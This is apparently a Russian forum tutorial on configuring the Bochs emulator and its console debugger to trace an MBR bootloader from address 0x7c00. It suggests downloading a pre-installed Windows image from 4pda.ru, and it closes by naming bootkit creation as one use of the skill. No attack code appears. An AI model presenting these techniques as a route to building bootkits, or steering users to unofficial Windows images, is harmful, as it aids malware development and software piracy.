По этому лучше создать образ windows уже установленной.я его не создавал,а просто скачал на 4pda.ru (при желании гуглится).Смотрите на совместимость с бошем.
Дальше я только расскажу как все настроить и приступить к отладке.
запускаем бош,видим настройки.Пройдемся по порядку:

1)CPU
-cpu configuration- bx_generic
-emulated instructions per second 10 000 000
enable CPU reset- да
inore RDMSR- да

2)MEMORY
standart options:
- memory size (megabytes) -1
-host allocated memory size - тут устанавливаете столько,сколько можете себе позволить.Лично я установил гигабайт.

дальше до disc & boot я ничего не менял, т.к. не требуется

3) DISC & BOOT
ata channel 0:
first hd/cd on channel 0:
-enable this device - да
-type of ata device - disk
-path or physical device  name - тут путь к образу венды
-type of disk image- flat
на счет геометрии диска- сложно сказать, попробуйте поменять type of disk image на sparse если не будет запускаться,так я указал рандомное число С|H|S и при запуске просто жал continue simulation.

second hd/cd on channel 0- тут я советую вам подключить дисковод с нужными программами, что бы создать образ просто запихните папку с программами в ultra iso и сохраните образ.
тут все просто
-enable this device- да
-type of ata device- cdrom
-path- путь к образу с программами.
-inserted- да

после всех настроек сохраните конфигурационный файл и поместите в папку с бошем.
отладка у боша консольная-это конечно ужасно. теперь что бы запустить отладчик наберите в командной строке bochsdbg.exe -q -f bochsrc.bxrc где bochsrc это ваш конфигурационный файл.
увидите примерно следующее:

дальше с помощью команды help можно узнать в деталях о том какая команда что делает.
для отладки mbr пишем lb 0x7c00 что поставит брэйкпоинт на загрузку и cont что продолжит выполнение кода,до точки останова.дальше трассирующими командами и командами просмотра регистров,флагов etc мы и отлаживаем наш загрузчик(или любой другой).
Как выглядит отладка:
На этом все друзья.
Большой опыт полученный от всего этого можно применить как для создания буткитов так и для написания своей операционки либо отладки чужого кода и еще много много всего.
Всем удачного кода.


ПОСТ СКРИПТУМ я выполнил хорошую работу и гордо иду пить пиво и смотреть фильм с Милой Йовович и Сиенной гиллори
ПОСТ СКРИПТУМ 2
Поросенок Петр съябует из этой страны